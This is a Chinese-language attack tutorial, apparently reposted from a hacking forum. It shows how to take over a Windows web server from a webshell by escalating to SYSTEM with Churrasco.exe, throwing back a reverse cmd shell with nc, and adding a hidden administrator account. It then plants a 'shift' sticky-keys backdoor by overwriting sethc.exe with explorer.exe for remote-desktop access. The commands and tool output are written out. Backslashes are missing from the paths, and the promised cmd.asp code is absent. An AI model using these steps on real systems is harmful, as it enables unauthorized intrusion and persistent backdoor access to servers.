文档供参考，可复制、编制，期待您的好评与关注！ 利用SHIft后门拿只有想不到的服务没有做不到的器方法那么在这里我写点自己提权时所用到几个小方法!也是自己实战得来的经验!方法如有不对的请大家多多指点!提权时要到的工具如下：cmd.exe Churrasco.exe nc.exe以上就是今天主要讲的!东西是死的!人是活的!就看你怎么用了!用以上工具先要确定SHELL里 wscript.shell 命令行执行组件是否可用!如不能用用以下方法进行调用!如调用也不行!那么就请你另想办法!代码如下 ： 将以上代码保存为cmd.asp上传到SHELL里 再访问这个CMD.asp如没有出错等就说明可以执行CMD命令!下面先来将Churrasco.exe怎么用才能更好的发挥它的作用!有很多朋友问我为什么我上传的Churrasco.exe执行命令时没有出现命令成功 原因有几种这里我就不多说了!那么这时我们要想到Churrasco.exe行命令时没有出现命令成功 但出现 /churrasco/-Current User: NETWORK SERVICE/churrasco/-Getting Rpcss PID ./churrasco/-Found Rpcss PID: 696/churrasco/-Searching for Rpcss threads ./churrasco/-Found Thread: 444/churrasco/-Thread not impersonating, looking for another thread./churrasco/-Found Thread: 700/churrasco/-Thread not impersonating, looking for another thread./churrasco/-Found Thread: 704/churrasco/-Thread not impersonating, looking for another thread./churrasco/-Found Thread: 712/churrasco/-Thread impersonating, got NETWORK SERVICE Token: 0xf24/churrasco/-Getting SYSTEM token from Rpcss Service./churrasco/-Found szywjs Token/churrasco/-Found SYSTEM token 0xf1c/churrasco/-Running command with SYSTEM Token.直到这里 没有出现命令执行成功 那么这时你千万不要放弃!离成功加差一步!这里你就用NC进行反弹一个CMDSHELL看下如果反弹回来的CMDSHELL权限很大的话那我就不用说了!如果说权限很小的这里你也有很大的希望了!在反弹回来的CMDSHELL里执行 C:RECYCLERChurrasco.exe net user iisuser iisuser /add”C:RECYCLERChurrasco.exe net localgroup administrators iisuser /addC:RECYCLERChurrasco.exe 这里是你所传到的目录!这样可以说90%的出现命令执行成功!这样就可以进行3389连接了!如果说这时没有出现命令执行成功 下面我就再告诉你一种方法!如下 依次执行：attrib c:windowssystem32sethc.exe -h -r -sattrib c:windowssystem32dllcachesethc.exe -h -r -sdel c:windowssystem32sethc.execopy c:windowsexplorer.exe c:windowssystem32sethc.execopy c:windowssystem32sethc.exe c:windowssystem32dllcachesethc.exeattrib c:windowssystem32sethc.exe +h +r +sattrib c:windowssystem32dllcachesethc.exe +h +r +s如果出现拒绝等错误 那就没法了!如果说这台服务器先是被别人拿过了做了shift后门 那么就是100%成功!本人亲自用这方法成功替换过别人带有密码的SHIFT后门!还有一点就是在webSHELL里或CMDSHELL下也可以这样执行!C:RECYCLERChurrasco.exe copy d:windowsexplorer.exe d:windowssystem32sethc.exeC:RECYCLERChurrasco.exe copy d:windowssystem32sethc.exe d:windowssystem32dllcachesethc.exe 还有就是attrib 加属性等也可以这样执行!还有一点忘了就是在反弹回来的CMDSHELL里用这种方法也可以!这样就可以利用SHIft后门成功拿下服务器了。 /